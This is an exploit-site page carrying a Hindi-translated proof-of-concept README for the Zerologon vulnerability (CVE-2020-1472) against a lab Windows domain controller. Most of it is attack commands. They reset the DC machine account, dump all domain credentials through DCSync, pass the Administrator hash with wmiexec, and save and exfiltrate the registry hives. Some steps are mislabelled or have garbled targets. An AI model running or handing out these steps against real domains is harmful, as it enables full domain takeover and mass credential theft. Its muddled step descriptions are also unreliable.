Exploit for cve-2020-1472 CVE-2020-1472

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MSTXQ17-CVE-2020-1472
# CVE-2020-1472 POC

mac वातावरण में proxychains प्रॉक्सी के माध्यम से Windows डोमेन वातावरण में इस भेद्यता को दोहराना।

## Environment

DC (मुख्य डोमेन नियंत्रक):

![image-20200916113011251](https://assets.kitploit.com/production/public/readmes/29621/a54fc2ee45659d8342aaef2088162308f2457bf7faefccc520dc2bf62eec3538.png)

Domain User (डोमेन सदस्य होस्ट):

gost के माध्यम से सीधे SOCKS5 फॉरवर्ड प्रॉक्सी सेट करना।

![image-20200916113305548](https://assets.kitploit.com/production/public/readmes/29621/ebd031b4a1eb18b235f5ba5a51b789d2e6ed9e34533bb2416b95b57d6e4a5493.png)

Attack Hacker (हमलावर मशीन):

proxychains4 सेट करें

root@kitploit:~
    
    
    vim  /Users/xq17/.proxychains/proxychains.conf
    

ProxyList सूची में जोड़ें

> [ProxyList] socks5 10.211.55.42 8099

Attack Tools (हमले के उपकरण):

root@kitploit:~
    
    
    1.git clone https://github.com/mstxq17/cve-2020-1472.git
    2.pip3 install -r requirements.txt
    

यदि निष्पादित करने पर यह त्रुटि आती है:

![image-20200916114449062](https://assets.kitploit.com/production/public/readmes/29621/beae6680906d02b25ec5216435ae0fdaed930cd0e4e088cfa5b85aa9471a35f2.png)

इसका मतलब है कि impacket मॉड्यूल में समस्या है। impacket मॉड्यूल को अनइंस्टॉल करने का प्रयास करें और GitHub पर नवीनतम संस्करण स्थापित करें।

root@kitploit:~
    
    
    git clone https://github.com/SecureAuthCorp/impacket.git
    cd impacket && pip3 install .
    

समस्या हल हो जाएगी।

C# संस्करण उपकरण: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

## Exploit steps

  1. पहले डोमेन नियंत्रक पासवर्ड का उपयोग करके डोमेन मशीन खाते का हैश निकालने का प्रयास करें, ताकि बाद में संशोधन के साथ तुलना की जा सके।

root@kitploit:~
         
         proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
         
         या उद्धरण हटाएं, लेकिन ध्यान दें कि Linux में $ एक चर का प्रतिनिधित्व करता है, इसलिए इसे एस्केप करना याद रखें।
         
         proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$
         

![image-20200916115110187](https://assets.kitploit.com/production/public/readmes/29621/e86442dcd7e875aad6660aefe760cefefd6f4548d4604e6d1387621548ce0326.png)

  2. `zerologon_tester.py` का उपयोग करके जांचें कि भेद्यता मौजूद है या नहीं

`python3 zerologon_tester.py DC 10.211.55.38`

![image-20200916115408007](https://assets.kitploit.com/production/public/readmes/29621/e37c979f025af620f606a72f081756056e4c5a33327228caf65a8a5efb6c6648.png)

Success वापस आता है, जो भेद्यता की उपस्थिति दर्शाता है।

  3. `cve-2020-1472-exploit.py` का उपयोग करके मशीन खाता रीसेट करें




`python3 cve-2020-1472-exploit.py dc$ 10.211.55.38`

![image-20200916115639951](https://assets.kitploit.com/production/public/readmes/29621/9f5c525a301d72197141cf38e6464a1ed2386ce162f01387b2e3763e7826ebfe.png)

  4. फिर से जांचें कि मशीन पासवर्ड खाली हो गया है या नहीं।



![image-20200916115757385](https://assets.kitploit.com/production/public/readmes/29621/c56c1ec3b02838772103aeeeaaa1cd8d59b1520c872e8f23cdf55c85be7eb020.png)

  5. डोमेन नियंत्रक के मशीन खाते का उपयोग करके DCSync के माध्यम से डोमेन में सभी उपयोगकर्ता क्रेडेंशियल निकाले जा सकते हैं

सिद्धांत:

> ![image-20200916120658369](https://assets.kitploit.com/production/public/readmes/29621/fa4e6dc8a6ab713f2a9583d971f5edfa93c5b927411108e1ac84b7209ceb7e4c.png)
> 
> DRS (डायरेक्टरी रेप्लिकेशन सर्विस) प्रोटोकॉल का उपयोग करके IDL_DRSGetNCChanges के माध्यम से डोमेन नियंत्रक से उपयोगकर्ता क्रेडेंशियल कॉपी करना।

` proxychains4 secretsdump.py test.local/dc\some-email@example.com -no-pass`

![image-20200916120926625](https://assets.kitploit.com/production/public/readmes/29621/4b3b183684069f547f99d0f481fc10b291e7600b4b269a944d06f7dc7d370a75.png)

  6. DC$ मशीन खाते का पासवर्ड पुनर्स्थापित करें इसके द्वारा

`proxychains4 secretsdump.py test.local/dc\some-email@example.com -no-pass -just-dc | grep 'Administrator'`

डोमेन व्यवस्थापक का हैश प्राप्त करें

![image-20200916143032315](https://assets.kitploit.com/production/public/readmes/29621/ee5100c98a02ac447ce080defdbee7106c3aa57f3d64e1911046e10eb8f8fa0f.png)

![image-20200916143104828](https://assets.kitploit.com/production/public/readmes/29621/d2952d0cd791b42289a6ae4110a72b65cf2df95d02072b9d012481838e44da26.png)

फिर wmic का उपयोग करके, हैश पास करें और डोमेन नियंत्रक में स्थानीय व्यवस्थापक अधिकार (डोमेन व्यवस्थापक) प्राप्त करें

root@kitploit:~
         
         wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/some-email@example.com
         

फिर क्रमशः निष्पादित करें, स्थानीय मशीन से SAM डेटाबेस को MAC साइड पर कॉपी करें

root@kitploit:~
         
         - reg save HKLM\SYSTEM system.save
         - reg save HKLM\SAM sam.save
         - reg save HKLM\SECURITY security.save
         - get system.save
         - get sam.save
         - get security.save
         - del /f system.save
         - del /f sam.save
         - del /f security.save
         




## Question

**एकल डोमेन वातावरण में:**

पूरी तरह से काम करता है। डोमेन नियंत्रक को पुनरारंभ करने के बाद, कोई असामान्यता नहीं है, लेकिन डोमेन सदस्य मशीनों के DNS में समस्या होती है, जो प्रमाणीकरण को प्रभावित नहीं करती।

![image-20200916182258498](https://assets.kitploit.com/production/public/readmes/29621/e620fcdefa4f8aceb63a56c7267803278adadb64b405e6f2cab150475db4cca8.png)

पासवर्ड पुनर्स्थापित करने के बाद:

![image-20200916182446890](https://assets.kitploit.com/production/public/readmes/29621/06a3766840c9e10c7d13036fc278ac6351960eeb28c584eaaf2838a46e193347.png)

**दोहरे डोमेन वातावरण, एक मुख्य डोमेन DC, एक बैकअप डोमेन नियंत्रक DC01:**

![image-20200916205319345](https://assets.kitploit.com/production/public/readmes/29621/3c2ad4c34ce8be067c429a7a38bec84230d1dbd4cbcbac5286dce98b69cabc67.png)

प्रारंभ में दोनों डोमेन नियंत्रकों के मशीन हैश प्राप्त करने पर, वे अलग-अलग पाए गए।

![image-20200916205520212](https://assets.kitploit.com/production/public/readmes/29621/791c06258fcedaa2b135652b46500dcb738eb406e350ca9586ed82ef10cc1d8d.png)

सहायक डोमेन पर हमला करने का प्रयास किया गया, जिससे मुख्य डोमेन प्रभावित नहीं हुआ, और ntdis.dist डेटा भी सिंक हो गया।

![image-20200916212015947](https://assets.kitploit.com/production/public/readmes/29621/ea460e944a1f82f0d9911f7577ecb863c6f42e19402be9f9782ad1337d4f29ee.png)

मुख्य डोमेन पर हमला करने का प्रयास किया गया, `net time /domain` और एकल डोमेन वातावरण में भी त्रुटि होगी, लेकिन पासवर्ड ठीक करने के बाद तुरंत वापस आ गया।

नया खाता बनाने पर सीधे सिंक हो सकता है

![image-20200916213953415](https://assets.kitploit.com/production/public/readmes/29621/4042ca4cd16fd1cfdf0a3a4231d9ae8ca7b46007a0b506fa94359e7b85621bbb.png)

पासवर्ड बदलने पर भी सिंक प्रभावित नहीं होता।

**व्यक्तिगत रूप से, मुझे अब तक डोमेन से बाहर निकलने की कोई समस्या नहीं मिली है। सुझाव है कि आप मेरे इस प्रक्रिया का एक बार पालन करें। यदि कोई समस्या है, तो कृपया मुझसे चर्चा करने में संकोच न करें!**

## Reference

नेटलोगॉन विशेषाधिकार वृद्धि भेद्यता (CVE-2020-1472) सिद्धांत विश्लेषण और सत्यापन

चीनी पीडीएफ संस्करण

NAXG\CVE-2020-1472

दोहरे डोमेन वातावरण की स्थापना